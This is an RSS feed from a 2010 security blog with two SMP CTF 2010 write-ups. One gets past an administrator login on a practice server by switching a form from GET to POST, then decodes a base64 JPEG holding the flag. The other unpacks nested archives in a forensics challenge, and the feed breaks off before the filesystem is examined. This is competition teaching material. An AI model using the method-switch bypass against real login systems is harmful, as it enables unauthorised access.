<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>zoidberg&#039;s research lab</title>
	<atom:link href="http://0xzoidberg.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://0xzoidberg.wordpress.com</link>
	<description>My research ramblings...</description>
	<lastBuildDate>Sun, 20 Mar 2011 21:59:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='0xzoidberg.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>zoidberg&#039;s research lab</title>
		<link>http://0xzoidberg.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://0xzoidberg.wordpress.com/osd.xml" title="zoidberg&#039;s research lab" />
	<atom:link rel='hub' href='http://0xzoidberg.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Challenge 4 Write-Up &#8211; SMP CTF 2010 Hacker Olympics&#8230;</title>
		<link>http://0xzoidberg.wordpress.com/2010/07/15/challenge-4-write-up-smp-ctf-2010-hacker-olympics-2/</link>
		<comments>http://0xzoidberg.wordpress.com/2010/07/15/challenge-4-write-up-smp-ctf-2010-hacker-olympics-2/#comments</comments>
		<pubDate>Thu, 15 Jul 2010 12:15:01 +0000</pubDate>
		<dc:creator>0xzoidberg</dc:creator>
				<category><![CDATA[Capture The Flag]]></category>
		<category><![CDATA[SMP CTF]]></category>

		<guid isPermaLink="false">http://0xzoidberg.wordpress.com/?p=305</guid>
		<description><![CDATA[Hey, This challenge was beaten by team member HaP. Here is how he did it. The challenge was: Retrieve the secret key and decipher it.. Website: http://66.225.157.70:8009/level1 So when you clicked on the link, an authentication box popped up. This was a GET HTML form, which basically said Authenticate with a user name and password [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0xzoidberg.wordpress.com&amp;blog=12742972&amp;post=305&amp;subd=0xzoidberg&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Hey,</p>
<p>This challenge was beaten by team member HaP.  Here is how he did it.  The challenge was:<br />
<code><br />
Retrieve the secret key and decipher it..<br />
</code><code><br />
Website: http://66.225.157.70:8009/level1<br />
</code><br />
So when you clicked on the link, an authentication box popped up.  This was a GET HTML form, which basically said Authenticate with a user name and password box.  Enter in some random characters such as &#8220;aa&#8221; and it brings you to a page that said: &#8220;Welcome aa&#8221;.  If you entered &#8220;administrator&#8221; it redirected you to a page that said: &#8220;Denied&#8221;.  After playing around with the form a bit, we changed GET to POST and re-submitted with &#8220;administrator&#8221; as the username and it took you to a page with a lot of encoded characters.. straight away you could tell this was base64:<br />
<code><br />
/9j/4AAQSkZJRgABAQEASABIAAD//gATQ3JlYXRlZCB3aXRoIEdJTVD/2wBDAAUDBAQEAwUEBAQF<br />
BQUGBwwIBwcHBw8LCwkMEQ8SEhEPERETFhwXExQaFRERGCEYGh0dHx8fExciJCIeJBweHx7/2wBD<br />
AQUFBQcGBw4ICA4eFBEUHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4e<br />
Hh4eHh4eHh7/wAARCAGQAoADASIAAhEBAxEB/8QAGwABAAIDAQEAAAAAAAAAAAAAAAYHBAUIAwH/<br />
xAA1EAEAAQMDAwQBAwIFAwUAAAAAAQIDBAUGEQcSIRMUFTEiCBZBIzIXJDNRYRhCgSVDUnFy/8QA<br />
FAEBAAAAAAAAAAAAAAAAAAAAAP/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/AOyw<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYur6lp2kafd1HVtQxNPwrMc3cjKvU2rdEc8c1VVTER/wCQ<br />
ZQj+2977L3LnV4O3N37f1nLt2pvV2MDUrORcpoiYia5poqmYp5qpjn65mP8AdIAAABhZeraVh6pg<br />
6Xl6nhY+fqHqeyxbt+mm7k+nT3XPTomea+2mYmeIniPMs0AAAAAAAAAAAGFl6tpWHqmDpeXqeFj5<br />
+oep7LFu36abuT6dPdc9OiZ5r7aZiZ4ieI8yDNAAHjn5eLgYORnZ2TZxcTGtVXr9+9cii3aopjmq<br />
uqqfFNMREzMz4iIMDLxc/Bx87BybOViZNqm9Yv2bkV27tFUc0101R4qpmJiYmPExIPYAAAAAAYXy<br />
2lfOfBfJ4Xy3tvd+x9en3Hod3Z6vp893Z3fj3ccc+OeWaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAA88qxYysa7i5Nm3fsXqJt3bdymKqa6ZjiaZifExMeOHoA5k1GvevSjUb3RbZ9uvIs<br />
bsu3Ktl59y540qifyzLdfM8zFmmZuUcczPdH3PhkdPc3f2mWtV2L0Q25terQtpZden6hqm4b16Lu<br />
p6hTETfmmLX1V3T91cx9eYjiItPfGytV1zrF063jiZGFRgbY+T97bu11Rdue5x6bVv04imYniqJ5<br />
5mnx9c/SJZnT3qttLd+49S6Vbg2rGk7kzqtRy8HXrF6ZxcquIi5ctVWv7u7iJ4q8eIjjxzIYlHXL<br />
WM3Z+0NSx9DxNP1bN35j7R1/Byu67GLXM1xe9Oqmqn8vFExM8xHMxMT9px+9dV/6i/8ADn2+F8T+<br />
0fm/W7Kvcev7z0e3u7u3s7fPHbzz/PHhBc7oRrNnpJiaNpe5se7vLG3NRuyrVMqzMWL+pRVMzNVN<br />
PMxRxPHiJ+onjzxG36e9P+ouN1vudSd86zt7NryNsTpNePplF2inHu+5puRTbpriZqt9tMzNVVXd<br />
3VzHbxEAwf079QurPU3SNB3RqWh7T03bN6ci3n3aa78ZOTVRVcpoqxqOaqaKIqiimr1Kpme2uY48<br />
I9+tTG3vn5GxtL0+ztbI25n7m07GosahF+bl7UKqr3bRfin8ZxJp7e6I/PnnhaX6d9lar076O6Fs<br />
7W8jCyM/T/cercw66qrVXqZF27HbNVNM/wBtcc8xHnn/AOzrRsrVd6fsr4vIwrPwO7sDW8r3NdVP<br />
fYsd/fTR20zzXPdHETxH3zMAqzpLt7K21+qnHwdT0PaWjapX07uXs6xtnEnHwKq51SYprppqiKpq<br />
9Om3EzV55if4iGVpHXHd2B1E2/o27K+nORga7qNGnRiaBrU5Woabeucxb9enniqO7imZppiImfv6<br />
iZru/pnq+v8AV7WN00anjYWmajsO/tmmu3VVOVZyLmRVc9WKe3t7Ypn77ueY+v5VVtv9Om98K5sm<br />
cqjptiftjX8HMqyNL0+5azM7Gs1TVXVevzRNVV2eKeKI4omZmZnmKQWRu7f/AFF1LqtqexOmGh7d<br />
yatAxbGRrOZrd67Rbiq9T327NuLXmKpojnumJj75iOPO1/T1v/X+oWibnzdxaTiaVlaTuXL0mjFs<br />
czNu3aptzFNyqapiq5E11RNVPFM8eIhAeq13L2H1r1Tcu1eo+xdvZ+vaXjV6xpu6a66Ka6LXfatZ<br />
FmaOJrqiKK6ezn+J557o4236K7GXPTnces5GVezbOt7sz9Qxc29Z9KrMtVenR600/wDb3VW6p4/g<br />
Eo6ia/8AHddulmhfCaLl/L/L/wCeysXvy8L0sWmv/L3Of6ffz21+J7qYiPCuOlvXPfu+d72sK1jb<br />
BwcOrUpxr2hZWdfs63Zsxc7a6+Kv6ddVNMTXNMRzPEx4WnvjZWq651i6dbxxMjCowNsfJ+9t3a6o<br />
u3Pc49Nq36cRTMTxVE88zT4+ufpX+V0p6pbn39tbVN76xsa5hbc1SzqNGpaXp121qebNqeabdzn8<br />
aaKvHMUzx/xPEAufSNR13J3Prmn6htz2Gk4ft/jdS97Rc+R76Jm7/SiO616dXFP5c93PMeEQ/UX1<br />
C1Ppp0+o1/SdMxs3JvZ9nC9TLmuMbEi53f1r3Z+XZHbEeOPNUJfpH7q/c+ufLfC/Af5f4X2vq+7/<br />
ALJ9f3Hd+H9/HZ2f9vPPlgdS8Leedt+3RsXP0TF1OjIiu5b1fGqvYuTZ7KoqtV9n5U8zNNXdHn8e<br />
PqZBXuz+pm9M3pJvTd+p3tiarc0XSr2bp2Zt7Lu38W9dos3bk2r1uuYuUTTNFvmOY5ivxxwjFHWn<br />
q1pujbK3XrmyNvX9B3ZGPhYWLhZVynNqzb9marMzNczRRauVxMxH5TTTPmeY4nc7K6N7p07ZvVGn<br />
WMzbVnX984FeNTi6RYrsabh1Rj3bVExzT3flNzmqe2Z8c+Zludf6X6/n9Ouku3LOZplOXszV9Gzd<br />
RrruVxbu0YdmaLsWpijmqqZn8e6KYmPuYB7dMt+b7v8AVXU+nPUbSdAxdUt6TRrODf0W7dqs1403<br />
fSmmr1PPdFUxHPER4nx9SimmdTOt26Mve1GzdrbRyMfa+4s7TvUzbl+irMtWaoii1bppqn+txzNV<br />
VU00fnTERHlYn7K1X/qL/wARvcYXxP7R+E9Hvq9x6/vPW7u3t7ezt8c93PP8ceVK9LtI6s5uX1Wr<br />
6c7i27g4+Xv3V8XKt6tYuzVjVRVRPr2KrfP5zFfE01xMfhT/AMg2Nzdt3r/uvZe1sfUNS0HbOftq<br />
7uHV8fDyJt3cqqnJnG9t6keeym5RVM8cd0fxE8cWBov6d+l2iZdd3R9M1PBs5GNfxM3Ft6vkzZzb<br />
N6zXarou01VzzHFczE0zExVETE+Glq6EZu39s7Nr6f7np0ndW1MS5i2s3Jx+/Hz7d2qbl63eo+4o<br />
m5VVVHHM08z9zxMSfZGF10ubmw8nfOtbGsaNj983sXQ8XIqu5XNFUUxVXe/siKppq/H77ePqQUz1<br />
E6CdJ9J67dLNs6ftT0dJ175f5LH+QyqvX9DFprtflNyaqe2qZn8Zjn+eYYX6gOnHTXY+8+lu28PY<br />
OtavtrKydayszRNIuZGVl5V2cbGpiqjm7Ff4zbt1TEVxEU0TP+/N/wC+NlarrnWLp1vHEyMKjA2x<br />
8n723drqi7c9zj02rfpxFMxPFUTzzNPj65+jfGytV1zrF063jiZGFRgbY+T97bu11Rdue5x6bVv0<br />
4imYniqJ55mnx9c/QNN+mvbmxNJ0PVtU2V073Nsf3mTRj5eLr9u/byL/AKVPdRcpou3bn4f1q4iY<br />
mOZiqJ+oZvUTX/juu3SzQvhNFy/l/l/89lYvfl4XpYtNf+Xuc/0+/ntr8T3UxEeFmK/3xsrVdc6x<br />
dOt44mRhUYG2Pk/e27tdUXbnucem1b9OIpmJ4qieeZp8fXP0CrOlvXPfu+d72sK1jbBwcOrUpxr2<br />
hZWdfs63Zsxc7a6+Kv6ddVNMTXNMRzPEx4dDa98r8Hn/AAXsvlvbXPY+97vb+v2z6fqdn5dndx3d<br />
vnjnjyozK6U9Utz7+2tqm99Y2NcwtuapZ1GjUtL067a1PNm1PNNu5z+NNFXjmKZ4/wCJ4h0ADkDo<br />
V+/v+jbcHyH7Z/ZX7R1z470PX+S9fvv8+rz/AEuzn1uO3z/Z/wApR006idRdq7Y6S29d25oNrZWv<br />
WdN0LDuWsi5VqFF2vHpptXbn/txRXNE1RTETMU/cxLd7G6WdTtudMNy9Kr+qbRy9q3tE1LD0TJpj<br />
IozYv5NVc0ev4miLcerc57Ymr+3jlvdf6X6/n9Ouku3LOZplOXszV9GzdRrruVxbu0YdmaLsWpij<br />
mqqZn8e6KYmPuYBFt49ddfyN8a7t/ZmpdNdGxdByqsLJyd36zOPcy79H+pTZtUVRVFNM/j3VeJmJ<br />
/wCYiyuhHUW31M2PXrdWLj4ubh5t3T8+1jZFN+xF+1xzNq5T4roqpqpqiY/ir7n7mt949Ctcxt76<br />
3uLZemdNdbsa5l1ZuTh7w0X3FWPfr/1JtXqKZr7ap/LsnxEzPH3Kzeiu09X2ftbJwdatbXsZeTnV<br />
5U2Nu6XThYlmJot09sUxETXV+EzNdXmeYj6pgEZ3n1A6g6l1N1Hp/wBLND0DIzNFxrN/WNR129dp<br />
xrFV6O61apptfnNU0+efr78eOZbz6j7825oG0tDq2tpWR1F3NlX8bHwbeXVODbizMzXfmv8Aumj0<br />
+yvt8THdMc80+fm9On/UHTepuodQOlmt7fx8vWsazj6xp2u2rtWNfqsx22rtNVr84qime3jxH358<br />
8R93n0535uLQNpa7VunScfqLtnKv5OPm0YlUYNyL0zFdiaP7oo9Pso7vNU9szxzV4DA03qrvbZ+7<br />
f251j0bQcaMrS8vUtP1LQLl2qxdpxbc3b9qaLv5RVFETVz4j6j+eY0n+KnXD9j/4pfsfan7M9v7/<br />
AOO95e+U9lx3er3/AOl/Z+f1zx/Dd6d0q3tvDdv7j6x6zoOTGLpeXpun6boFu7TYtU5VubV+7Nd3<br />
8pqmiZp48x9T/HE6T/Cvrh+x/wDC398bT/Znt/YfI+zvfKey47fS7P8AS/s/D754/kHvTurSJ/VD<br />
G9vVrjR56RfK+p2/l7f3vq88f79v8IxX+o/eVei1bys3OlNGh00TkRoFzccfN1WY88cRV2Rc7fPZ<br />
293Pjjnws2npBTHU6M+a8Wdox09/Z/tfVq9zMetzz/b29vpeOe7nn+OPKvcLoJvnQcajQtI0borr<br />
WmWY9Ozqet7ZmdR7P4muKKZouVxH/dVPM8cz9gyt5fqC3HXv+zoO1Ktk6Jpt3TMPUMbM3bkX7Eah<br />
RkWqbtPo1W/xp4irtmap47ony8eteR1Ny+unRXK0TF2piaxe0zUbmLj6hdvXbNrMnFicui7Xa/ut<br />
xbmiLdVHmaoqmrxw3vUXpj1Z17bMbMw9T6dZm3bum2MLvztHrs5GBNNii3cqxqLcTbp5qpqrpjiO<br />
zuimPFMS2++Olu7beL011DYes6PVruw8W5h2J1u3c9vl27mNRYrqr9PmqKuKOeI/+U+fALZ0L5X4<br />
PA+d9l8t7a3772Xd7f1+2PU9Pv8Ay7O7nt7vPHHPlzt0m6e6J1223c6m9Tr2pa3OrZmT8dpfv7tj<br />
F07Ht3q7dFFNFuqme78JmZmfPjxzzM9E6F8r8HgfO+y+W9tb997Lu9v6/bHqen3/AJdndz293njj<br />
nypzH6c9VdganqVrpLuLa9zbuoZdzMp0jcVi924Ny5PNcWbln8pomfMUzxEf8zzMht736d+lmZoe<br />
LousaRqOr4GDk3sjAtZmrZNXs/VptU127dVNcT2T6NE8VTPEzVMfcqm6BdBOk+6P8QPndqe7+I3v<br />
qWl4P/qGVR6WLa9P07f4XI7uO6fyq5qnnzMujOnGJvbE0O9+/dX0rUtWvZNVyn4zGqs2Me120xFq<br />
nu/KriYqq7qvP5cfw0vRfZWq7L/evymRhXvnt3Z+t4vtq6quyxf7OymvupjiuO2eYjmPriZBy1o+<br />
j9NdQ3x1Ivbx6M9QN759O99Upt5+gYeRdx7dr1YmLVU279Ed8VTVVMcc8V0+fqI7Y0LS8DQ9DwNE<br />
0ux7fA0/Gt4uLa76qvTtW6Ypop5qmZnimIjmZmf90M6L7K1XZf71+UyMK989u7P1vF9tXVV2WL/Z<br />
2U191McVx2zzEcx9cTKwAcw5H6h9z67dz9W2hqHSrTtDxb9y3j4m49wRY1LOpomY76aIrim13cfj<br />
Ff8AxPmPKabS60Zmv7i6eZtOn4mPtTe2n5FFmuqmqcjF1KxVPdaqud3bNExTVTT+MTMxzz/CIVfp<br />
+3NtnLysLZui9JNd0W9kXL2PO69Bm7m4lNdU1enF23TM3Yp58TX544j6hOtd6V63m9EdK2xjZe3s<br />
XdWi59Gq6Zk4WDGFgY+VRkVXaYptW4nto7a6qJmI5nmap8zIPPcvWW5oev8AULPu4eNe2nsrBsW7<br />
9yimr3GVqV2qOLNFfd2xRTFVFNX4zMVVc88eEBj9RO6tF9lr+5s3pTm6Dfv2qMnTtC3BF/VcO3cq<br />
iO+ae6aLs0c81RRH8T9RzMWDtroxRc6Dat0/3dn28jVNwXr+drOoYkzVFeZcuxci7T3REz2zTb+4<br />
jns/jlBLPQ7qHTap0mrQ+hPtKYi38v8AtKKs6Y+u+bU0+j3fzx9cglWp9QurOr9Yd79P9i6HtO5R<br />
oEYFy1qGrV36LVqm9jxcqpuxbmaq66qp/DtimIiirnmeGb0morp/U11trmmYpq+B7Z/34wq0k2Ps<br />
rVdD6xdRd45eRhV4G5/jPZW7VdU3bftseq1c9SJpiI5qmOOJq8ffH03m39N1jF3xufUc3T9t2NNz<br />
faewyMGzXTn5HZamm57yqY7au2riLfbzxTzyCSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
0+4tq7X3HVZq3DtvR9Yqsf6U5+Dbvzb/APz30zx/4bTGsWcbHt4+NZt2bNqmKLdu3TFNNFMeIiIj<br />
xER/s9AAAAAAABhaVpOlaT7v4vTMLA95k15eV7axTb9e/Xx33a+2I7q6uI5qnmZ4jmWaAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//Z<br />
</code><br />
If you took these encoded characters and placed them in a file, you can run it through base64 like so:<br />
<code><br />
[zoidberg@/dev/null:~ ] $ cat secretkey.b64 | base64 -d &gt; picture<br />
</code><code><br />
[zoidberg@/dev/null:~ ] $ file picture<br />
picture: JPEG image data, JFIF standard 1.01, comment: "Created with GIMP\377"<br />
</code><br />
Oooh, what do we have here? A jpeg image, lets open this up in an image viewer.  When I opened it up in GIMP, I got the following text:<br />
<code><br />
Your flag is: smpCTF is the coolest CTF ever!<br />
</code><br />
The jpeg image can be found <a href="http://0xzoidberg.files.wordpress.com/2010/07/secretkey.jpg">here</a>.  Now we have the flag, we found the Challenge key in the source of the challenge page:<br />
<code><br />
!---Challenge Key: de270765 ---<br />
</code><br />
Yay, that was a nice fun level and an interesting way to hide an image <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/0xzoidberg.wordpress.com/305/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/0xzoidberg.wordpress.com/305/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/0xzoidberg.wordpress.com/305/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/0xzoidberg.wordpress.com/305/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/0xzoidberg.wordpress.com/305/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/0xzoidberg.wordpress.com/305/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/0xzoidberg.wordpress.com/305/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/0xzoidberg.wordpress.com/305/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/0xzoidberg.wordpress.com/305/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/0xzoidberg.wordpress.com/305/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/0xzoidberg.wordpress.com/305/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/0xzoidberg.wordpress.com/305/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/0xzoidberg.wordpress.com/305/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/0xzoidberg.wordpress.com/305/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0xzoidberg.wordpress.com&amp;blog=12742972&amp;post=305&amp;subd=0xzoidberg&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://0xzoidberg.wordpress.com/2010/07/15/challenge-4-write-up-smp-ctf-2010-hacker-olympics-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5eefcbdf5b769c4333d09d027fdfcd98?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">0xzoidberg</media:title>
		</media:content>
	</item>
		<item>
		<title>Challenge 5 Write-Up &#8211; SMP CTF 2010 Hacker Olympics&#8230;</title>
		<link>http://0xzoidberg.wordpress.com/2010/07/14/challenge-4-write-up-smp-ctf-2010-hacker-olympics/</link>
		<comments>http://0xzoidberg.wordpress.com/2010/07/14/challenge-4-write-up-smp-ctf-2010-hacker-olympics/#comments</comments>
		<pubDate>Wed, 14 Jul 2010 21:26:11 +0000</pubDate>
		<dc:creator>0xzoidberg</dc:creator>
				<category><![CDATA[Capture The Flag]]></category>
		<category><![CDATA[SMP CTF]]></category>

		<guid isPermaLink="false">http://0xzoidberg.wordpress.com/?p=292</guid>
		<description><![CDATA[Hey, This was an awesome challenge and my very first crack at forensics. The challenge was simply this: We are sure we left, a flag in here somewhere... Right redsand? Can you help find it? The file: download Looking at the challenge page web source, I instantly found the key: !--Challenge Key: 74bf0f65-- Then we [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0xzoidberg.wordpress.com&amp;blog=12742972&amp;post=292&amp;subd=0xzoidberg&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Hey,</p>
<p>This was an awesome challenge and my very first crack at forensics.  The challenge was simply this:<br />
<code><br />
We are sure we left, a flag in here somewhere... Right redsand?<br />
</code><code><br />
Can you help find it? The file: download<br />
</code><br />
Looking at the challenge page web source, I instantly found the key:<br />
<code><br />
!--Challenge Key: 74bf0f65--<br />
</code><br />
Then we downloaded the file which was simple called &#8216;forensic-image&#8217;:<br />
<code><br />
[zoidberg@/dev/null:~/SMP/CH4 ] $ file forensic1-image<br />
forensic1-image: rzip compressed data - version 2.1 (15185973 bytes)<br />
</code><br />
So looking at the output of file we know that it is an rzip compressed data file.  I had never heard of rzip until I saw this, so time to hit google.  I found the following site on google <a href="http://rzip.samba.org/">here</a>.  I then proceeded to check my distributions package database for the utility &#8216;rzip&#8217; low and behold the following turned up:<br />
<code><br />
rzip - compression program for large files<br />
</code><br />
I installed it and proceeded to decompress the image file:<br />
<code><br />
[zoidberg@/dev/null:~/SMP/CH4 ] $ mv forensic1-image forensic1-image.rz<br />
[zoidberg@/dev/null:~/SMP/CH4 ] $ rzip -d forensic1-image.rz<br />
[zoidberg@/dev/null:~/SMP/CH4 ] $ ls<br />
total 14832<br />
-rw-r--r-- 1 zoidberg zoidberg 15185973 2010-07-10 00:41 forensic1-image<br />
</code><code><br />
[zoidberg@/dev/null:~/SMP/CH4 ] $ file forensic1-image<br />
forensic1-image: LHarc 1.x/ARX archive data [lh0]<br />
</code><code><br />
[zoidberg@/dev/null:~/SMP/CH4 ] $<br />
</code><br />
Rzip allowed me to extract the file.  I then checked what the result was, again with the file utility.  Which told me that it was an LHarc archive file.  Then I  proceeded to extract the data:<br />
<code><br />
[zoidberg@/dev/null:~/SMP/CH4 ] $ lha e forensic1-image<br />
FS.tar	- Melted   :  oooooooooooooooooooooooooooooooooooooooooooooooooooooooooo<br />
</code><code><br />
[zoidberg@/dev/null:~/SMP/CH4 ] $ ls<br />
total 29664<br />
-rw-r--r-- 1 zoidberg zoidberg 15185973 2010-07-10 00:41 forensic1-image<br />
-rw-r--r-- 1 zoidberg zoidberg 15185920 2010-06-30 02:53 FS.tar<br />
</code><br />
After I extracted the data, I was then left with POSIX tar archive:<br />
<code><br />
[zoidberg@/dev/null:~/SMP/CH4 ] $ file FS.tar<br />
FS.tar: POSIX tar archive (GNU)<br />
</code><code><br />
[zoidberg@/dev/null:~/SMP/CH4 ] $ tar xvf FS.tar<br />
FS<br />
</code><code><br />
[zoidberg@/dev/null:~/SMP/CH4 ] $ file FS<br />
FS: bzip2 compressed data, block size = 900k<br />
</code><code><br />
[zoidberg@/dev/null:~/SMP/CH4 ] $ bunzip2 FS.bz2<br />
</code><code><br />
[zoidberg@/dev/null:~/SMP/CH4 ] $ ls<br />
total 44476<br />
-rw-r--r-- 1 zoidberg zoidberg 15185973 2010-07-10 00:41 forensic1-image<br />
-rw-r--r-- 1 zoidberg zoidberg 15163583 2010-06-30 02:52 FS<br />
-rw-r--r-- 1 zoidberg zoidberg 15185920 2010-06-30 02:53 FS.tar<br />
</code><br />
I extracted the tar archive, which then gave me a bzip2 archive, I extracted that, and guess what ? Yes, you guessed it, yet another archive:<br />
<code><br />
[zoidberg@/dev/null:~/SMP/CH4 ] $ file FS<br />
FS: gzip compressed data, was "FS", from Unix, last modified: Wed Jun 30 02:42:18 2010, max compression<br />
</code><code><br />
[zoidberg@/dev/null:~/SMP/CH4 ] $ mv FS FS.gz<br />
</code><code><br />
[zoidberg@/dev/null:~/SMP/CH4 ] $ gunzip FS.gz<br />
</code><code><br />
[zoidberg@/dev/null:~/SMP/CH4 ] $ ls<br />
total 93688<br />
-rw-r--r-- 1 zoidberg zoidberg 15185973 2010-07-10 00:41 forensic1-image<br />
-rw-r--r-- 1 zoidberg zoidberg 65560576 2010-06-30 02:52 FS<br />
-rw-r--r-- 1 zoidberg zoidberg 15185920 2010-06-30 02:53 FS.tar<br />
</code><code><br />
[zoidberg@/dev/null:~/SMP/CH4 ] $ file FS<br />
FS: Linux rev 1.0 ext2 filesystem data, UUID=c8a4643d-d89b-43db-bae8-6192db41dcc1 (large files)<br />
</code><br />
This time it was gzip compressed data file, extracted that and was left with an ext2 file partition&#8230; ooohh now we&#8217;re getting a little bit more interesting.  So I proceeded to mount the ext2 file partition and take a look what was there:<br />
<code><br />
[zoidberg@/dev/null:~/SMP/CH4 ] $ ls<br />
total 93688<br />
-rw-r--r-- 1 zoidberg zoidberg 15185973 2010-07-10 00:41 forensic1-image<br />
-rw-r--r-- 1 zoidberg zoidberg 65560576 2010-06-30 02:52 FS<br />
-rw-r--r-- 1 zoidberg zoidberg 15185920 2010-06-30 02:53 FS.tar<br />
</code><code><br />
